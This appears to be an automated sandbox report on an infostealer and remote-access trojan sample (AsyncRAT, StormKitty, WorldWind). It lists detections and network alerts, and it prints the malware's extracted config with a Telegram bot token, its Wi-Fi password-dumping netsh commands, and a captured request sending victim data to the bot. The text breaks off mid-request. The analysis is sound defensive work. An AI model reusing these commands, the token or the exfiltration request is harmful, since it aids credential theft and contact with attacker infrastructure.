Edit tour

Windows Analysis Report
client.exe

Overview

General Information

Sample name:	client.exe
Analysis ID:	1511174
MD5:	029ab1a2a01d846355ad4430f6e29b7b
SHA1:	eeb2130c211cc9bcf45410ada6ac4b01c2cb726f
SHA256:	57d8364e9b83c591614899eaf932214b094a1d07370ac32d562936eaf2cf5e21
Tags:	exe
Infos:

Detection

AsyncRAT, StormKitty, WorldWind Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected WorldWind Stealer

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious desktop.ini Action

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

client.exe (PID: 6548 cmdline: "C:\Users\user\Desktop\client.exe" MD5: 029AB1A2A01D846355AD4430F6E29B7B)

cmd.exe (PID: 6596 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 2764 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 5844 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

findstr.exe (PID: 7128 cmdline: findstr All MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6612 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 1992 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 4788 cmdline: netsh wlan show networks mode=bssid MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage"}

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
client.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
client.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
client.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
client.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
client.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
client.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
client.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
client.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
client.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
client.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
client.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 6 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x28ee2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000000.00000000.2022542061.0000000000D52000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25463:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.4492278426.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x34514:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Process Memory Space: client.exe PID: 6548	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
Process Memory Space: client.exe PID: 6548	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: client.exe PID: 6548	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
Process Memory Space: client.exe PID: 6548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: client.exe PID: 6548	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: client.exe PID: 6548	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x3a273:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: client.exe PID: 6548	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x38d91:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84} 0x5609d:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.client.exe.d50000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0.0.client.exe.d50000.0.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
0.0.client.exe.d50000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.client.exe.d50000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.client.exe.d50000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.0.client.exe.d50000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x290e2:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0.0.client.exe.d50000.0.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x25663:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
0.0.client.exe.d50000.0.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2773f:$s1: \VPN\NordVPN 0x27725:$s2: \VPN\OpenVPN 0x27707:$s3: \VPN\ProtonVPN
0.0.client.exe.d50000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x25e9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x25f0d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x25f97:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x26029:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x26093:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x26105:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x2619b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x2622b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.0.client.exe.d50000.0.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x11f8c:$x3: StormKitty 0x1b6ca:$s1: GetBSSID 0x1b5ca:$s2: GetAntivirus 0x26b4b:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x26d7d:$s6: "encrypted_key":"(.*?)"
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious desktop.ini Action

Source: File created

Author: Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO): Data: EventID: 11, Image: C:\Users\user\Desktop\client.exe, ProcessId: 6548, TargetFilename: C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\client.exe", ParentImage: C:\Users\user\Desktop\client.exe, ParentProcessId: 6548, ParentProcessName: client.exe, ProcessCommandLine: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All, ProcessId: 6596, ProcessName: cmd.exe

Suricata Signatures

ET MALWARE StormKitty Data Exfil via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T05:42:12.534424+0200	2031009	1	Malware Command and Control Activity Detected	192.168.2.5	49706	149.154.167.220	443	TCP

ET MALWARE WorldWind Stealer Checkin via Telegram (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T05:42:12.534424+0200	2044766	1	A Network Trojan was detected	192.168.2.5	49706	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-14T05:42:13.675301+0200	2803305	3	Unknown Traffic	192.168.2.5	49707	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: client.exe	Malware Configuration Extractor: AsyncRAT {"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241", "Version": "", "AES_key": "VIfxfqryUTyZUBGDCBAvbYVYIsexIM7Z", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "J7XpD4w+JaFzTixc0nCmiRA4ZP4bPCIpEYYGofNxvC1+0OsFQr56oTWwQMosnOTB64TZRGSdXVHKzjVchQf7X5Uwu/KQU61NPArjxWVScwKZXOGS4ZNzsWbrxgztkmlyRlQgvEq4rdFsqy1bfvHEoQ/s9aDXBNoLPPjJOexTRQSGuZYMpGSUD+ZUiVwPqqFWTb8KcjEMyABMeXGKfia2e9u8ePKpWv4HSiOfl6N47tTtIfN2FW/2mCX7BOnIZwCl3UxaQnITN812tHD1enX9TK86R91F02c0wabnf4oC07S3cqiXYo1yZ5y3dDnnERLagBuX1bemwzX/7DjHkfOaIPLgAAO8vGHbQX3pPqmwC88sG1+FExp3FEKMITnQTqQr5uXa5GjggFUSFr9rt2nfcjEjHRnOzX1jpsUUtuDyqoAFhdosdv46x+o5Iod34II88nouxzyzAfMSa48ozukJ3fCknI6u9fj/it1dx0GimhXUv4YG4A19n3EdvJbaxZXImHZvqiYGsHTIUtxa89QhxCpuJPKdTP7ya5rJFkDT0Z8ijH4Z1Dv42umyEN6PT99JRuJHcXSqkXfOeOilnM6YRY019FHq6udNVWn5OQetK4ULVcQmwPTV26ZRPyrqO57Rjr5LeSauZtNKTE/kmS1iR3eMtq5PsAHunrHZPzzaUhY=", "Group": "Default"}
Source: client.exe.6548.0.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage"}

Multi AV Scanner detection for domain / URL

Source: https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for submitted file

Source: client.exe	Virustotal: Detection: 73%			Perma Link
Source: client.exe	ReversingLabs: Detection: 86%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: client.exe

Joe Sandbox ML: detected

Source: client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.196.114:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2

Source: client.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2031009 - Severity 1 - ET MALWARE StormKitty Data Exfil via Telegram : 192.168.2.5:49706 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2044766 - Severity 1 - ET MALWARE WorldWind Stealer Checkin via Telegram (GET) : 192.168.2.5:49706 -> 149.154.167.220:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.client.exe.d50000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot6706004956:AAHi06O7O8U_fUdqMr4fnu7ENp6SSG3o288/sendMessage?chat_id=6099718241&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Pro%20-%20Results:%0ADate:%202024-09-13%2011:42:01%20pm%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20610930%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%20F_5P5%0ARAM:%204095MB%0AHWID:%203D06009743%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%